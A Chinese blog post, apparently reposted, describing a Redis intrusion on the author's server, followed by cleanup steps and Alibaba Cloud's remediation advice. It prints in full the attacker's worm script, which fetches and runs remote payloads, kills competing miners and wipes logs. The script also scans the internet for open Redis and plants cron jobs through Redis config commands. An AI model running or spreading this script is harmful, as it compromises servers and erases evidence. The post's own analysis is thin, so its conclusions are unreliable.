记录一次redis入侵事件(无重大影响)

早上看到阿里云报警,提示”Linux系统计划任务配置文件写入行为“,虽然这个reids集群做在内网,可能因为做了本地端口转发,所以导致了入侵事件。
1.现象
于是上服务器,crontab -l 看到有一个定时任务写在计划任务中



2.分析
将这个脚本下载下来进行分析,
wget https://transfer.sh/Yfso3/tmp.YmboB7ymVN
脚本内容如下

sleep 1
find . -maxdepth 1 -name ".mxff0" -type f -mmin +60 -delete
[ -f .mxff0 ] && exit 0
echo 0 > .mxff0
trap "rm -rf .m* .ran tmp.* .r* .dat $0" EXIT
setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
crontab -r 2>/dev/null
rm -rf /var/spool/cron 2>/dev/null
grep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/* 2>/dev/null
rm -rf /var/tmp/* 2>/dev/null
rm -rf /etc/root.sh 2>/dev/null
sync && echo 3 > /proc/sys/vm/drop_caches
cat <<EOF> /etc/security/limits.conf
*         hard    nofile      100000
*         soft    nofile      100000
root      hard    nofile      100000
root      soft    nofile      100000
*         hard    nproc       100000
*         soft    nproc       100000
root      hard    nproc       100000
root      soft    nproc       100000
EOF
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; done
rm -rf /tmp/* 2>/dev/null
rm -rf /var/tmp/* 2>/dev/null
echo 0 > /var/spool/mail/root
echo 0 > /var/log/wtmp
echo 0 > /var/log/secure
echo 0 > /root/.bash_history
tname=$( mktemp )
OMURL=https://transfer.sh/s8cui/tmp.TKY9CyNHbo
curl -s $OMURL > $tname || wget -q -O $tname $OMURL
cp $tname .gpg && chmod +x .gpg && ./.gpg
rm -rf .gpg
YUM_PACKAGE_NAME="iptables gcc redis coreutils bash curl wget"
DEB_PACKAGE_NAME="coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl"
if cat /etc/*release | grep -i CentOS; then
yum clean all
yum install -y -q epel-release
yum install -y -q $YUM_PACKAGE_NAME
elif cat /etc/*release | grep -qi Red; then
yum clean all
yum install -y -q epel-release
yum install -y -q $YUM_PACKAGE_NAME
elif cat /etc/*release | grep -qi Fedora; then
yum clean all
yum install -y -q epel-release
yum install -y -q $YUM_PACKAGE_NAME
elif cat /etc/*release | grep -qi Ubuntu; then
export DEBIAN_FRONTEND=noninteractive
rm -rf /var/lib/apt/lists/*
apt-get update -q --fix-missing
for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
elif cat /etc/*release | grep -qi Debian; then
export DEBIAN_FRONTEND=noninteractive
rm -rf /var/lib/apt/lists/*
apt-get update --fix-missing
for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
elif cat /etc/*release | grep -qi Mint; then
export DEBIAN_FRONTEND=noninteractive
rm -rf /var/lib/apt/lists/*
apt-get update --fix-missing
for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
elif cat /etc/*release | grep -qi Knoppix; then
export DEBIAN_FRONTEND=noninteractive
rm -rf /var/lib/apt/lists/*
apt-get update --fix-missing
for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
else
exit 1
fi
sleep 1
if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then
curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12
sleep 1
[ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
fi
NMURL=$( curl -s --upload-file $tname https://transfer.sh )
rm -rf $tname
[ -z "$NMURL" ] && NMURL=$OMURL
ncmd=$(basename $(mktemp))
sed 's|'"$OMURL"'|'"$NMURL"'|g' < .cmd > $ncmd
NSURL=$( curl -s --upload-file $ncmd https://transfer.sh )
echo 'flushall' > .dat
echo 'config set dir /var/spool/cron' >> .dat
echo 'config set dbfilename root' >> .dat
echo 'set Backup1 "\n*/2 * * * * curl -s '${NSURL}' > .cmd && bash .cmd\n"' >> .dat
echo 'set Backup2 "\n*/5 * * * * wget -O .cmd '${NSURL}' && bash .cmd\n"' >> .dat
echo 'set Backup3 "\n*/10 * * * * lynx -source '${NSURL}' > .cmd && bash .cmd\n"' >> .dat
echo 'save' >> .dat
echo 'config set dir /var/spool/cron/crontabs' >> .dat
echo 'save' >> .dat
echo 'exit' >> .dat
pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
rm -rf .ran 2>/dev/null
for x in $( seq 1 224 | sort -R ); do
for y in $( seq 0 255 | sort -R ); do
printf '%s.%s.0.0/16\n' $x $y >> .ran
done
done
for ran in $( sort -R .ran ); do
$pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' "$ran" 6379 > .r.o
awk '/Linux/ {print $1, $3}' .r.o > .r.l
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw &
done < .r.l
done
echo 0 > /var/spool/mail/root 2>/dev/null
echo 0 > /var/log/wtmp 2>/dev/null
echo 0 > /var/log/secure 2>/dev/null
echo 0 > /root/.bash_history 2>/dev/null
exit 0
经过一波实力分析之后,并没有分析出什么结果
像端口开放这些我查看了之后并没有开放,也可能是发现及时,虽然写入了计划任务crontab,但crontab没有第一时间重启,所以这个定时也没有开始跑。(参考网上案例 https://blog.csdn.net/u012573259/article/details/51803447暂且怀疑是肉鸡行为)
它用到yum,yum命令使基于centos操作的,因为我的系统是ubuntu的,所以并没有受到什么影响。所以我从他脚本中看到他又访问github下载文件的动作,于是我尝试下载了他的pnscan-1.12.tar.gz文件,并解压查看看到其压缩文件中包含了一个install-sh。不过这里面写的命令,我再次进行一波强力分析,依然分析不出什么结果。有兴趣的同学可以看看 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12( 攻击脚本,只可远观,切勿执行

3. 清理
若不想重装系统,就得清理掉入侵者写入本地的文件,及在本机开启的服务。
1.删掉/var/spool/cron/root、/var/spool/cron/crontabs/root,重启crontab服务;
2.删掉/root/.ssh/目录下的异常文件(可以删除所有文件);
3.因为我们这个redis是在用的,故不作添加访问密码的操作,减少开发同事工作量.
4.我以较低权限账号运行redis集群,且禁用该账号的登录权限。
5.检查/root/.ssh/下是否有非法的 authorized_keys文件,以及一些/etc/init.d/下面非法的开机自启的服务。


下面是阿里云案例
漏洞描述
Redis 服务因配置不当,可被攻击者恶意利用。黑客借助 Redis 内置命令,可将现有数据恶意清空;如果 Redis 以 root 身份运行,黑客可往服务器上写入 SSH 公钥文件,直接登录服务器。
受影响范围
对公网开放,且未启用认证的 Redis 服务器
修复方案
注意 :以下操作,均需重启 Redis 后才能生效。
  • 绑定需要访问数据库的 IP。 将 Redis.conf 中的 bind 127.0.0.1 修改为需要访问此数据库的 IP 地址。
  • 设置访问密码。在 Redis.conf 中 requirepass 字段后,设置添加访问密码。
  • 修改 Redis 服务运行账号。以较低权限账号运行 Redis 服务,且禁用该账号的登录权限。

以上


在这里感谢Lvnux同学原创的案例,我借鉴的许多排版

https://blog.csdn.net/u012573259/article/details/51803447

猜你喜欢

转载自blog.csdn.net/wayne_primes/article/details/79848720